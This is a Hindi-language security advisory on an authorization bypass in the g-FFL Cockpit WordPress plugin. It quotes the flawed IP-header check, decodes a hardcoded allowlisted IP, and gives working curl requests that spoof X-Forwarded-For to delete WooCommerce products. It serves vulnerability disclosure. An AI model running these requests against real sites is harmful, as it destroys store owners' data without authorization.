
g-FFL Cockpit <= 1.7.1 - अनुचित प्राधिकरण से अप्रमाणित उत्पाद विलोपन
g-FFL Cockpit प्लगइन queue और process REST API एंडपॉइंट पर उचित प्राधिकरण जांच लागू नहीं करता है, जिससे बिना प्रमाणीकरण वाले उपयोगकर्ता HTTP हेडर को स्पूफ करके IP-आधारित प्रमाणीकरण को बायपास करते हुए मनमाने WooCommerce उत्पादों को हटा सकते हैं।
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"
queue और process REST API एंडपॉइंट IP-आधारित प्रमाणीकरण का उपयोग करते हैं जिसे X-Forwarded-For या CF-Connecting-IP HTTP हेडर को स्पूफ करके बायपास किया जा सकता है। प्रमाणीकरण तंत्र get_client_ip() पर निर्भर करता है जो उपयोगकर्ता-नियंत्रित हेडर पर भरोसा करता है, और प्लगइन स्रोत कोड में संग्रहीत एक हार्डकोडेड IP पते के विरुद्ध जांच करता है।
इसमें स्थित है class-sync-endpoint.php:
34: register_rest_route('fflcockpit/v1', '/queue', [
35: 'methods' => 'POST',
36: 'callback' => [__CLASS__, 'handle_enqueue_only'],
37: 'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38: ]);
fflcockpit_is_allowed() फ़ंक्शन एक हार्डकोडेड IP पते (base64: My4yMTIuMTg1LjE4Nw==, डिकोडेड: 3.212.185.187) का उपयोग करता है जो प्लगइन स्रोत कोड में दिखाई देता है।
कमजोर स्निपेट class-sync-endpoint.php:
11: private static function get_client_ip(): string {
12: $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13: if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14: // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15: $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16: $ip = trim($cf_ips[0]); // ⚠️ Trusts user-controlled header
17: } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18: $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19: $ip = trim($forwarded_ips[0]); // ⚠️ Trusts user-controlled header
20: }
21: return trim($ip);
22: }
process_product() फ़ंक्शन डिलीट ऑपरेशन को sql_delete_product() पर रूट करता है, जो WooCommerce उत्पादों का सीधा SQL विलोपन करता है।
कमजोर विलोपन कार्यान्वयन class-update-processor.php:
634: // Delete the product post
635: $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637: if ($deleted === false) {
638: $wpdb->query('ROLLBACK');
639: throw new Exception('Failed to delete product from database.');
640: }
641:
642: $deleted_items[] = "product_post";
643:
644: $wpdb->query('COMMIT');
नोट: g-FFL Cockpit के लिए WooCommerce आवश्यक है
g-FFL Cockpit प्लगइन इंस्टॉल किए गए लक्ष्य WordPress साइट पर जाएं।
प्लगइन स्रोत कोड से हार्डकोडेड IP पता निकालें। IP को class-sync-endpoint.php में base64 एन्कोडेड My4yMTIuMTg1LjE4Nw== के रूप में स्टोर किया गया है, जो 3.212.185.187 में डिकोड होता है।
उत्पाद विलोपन को कतारबद्ध और संसाधित करने के लिए निम्नलिखित curl कमांड निष्पादित करें:
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
-H "X-Forwarded-For: 3.212.185.187" \
-H "Content-Type: application/json" \
-d '{"action": "delete", "products": [{"id": 105}]}'
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
-H "X-Forwarded-For: 3.212.185.187" \
-H "Content-Type: application/json"
{
"status": "completed"
}
उत्पाद WooCommerce डेटाबेस से स्थायी रूप से हटा दिया जाता है, जिसमें सभी संबद्ध मेटाडेटा, शब्द संबंध और चित्र शामिल हैं।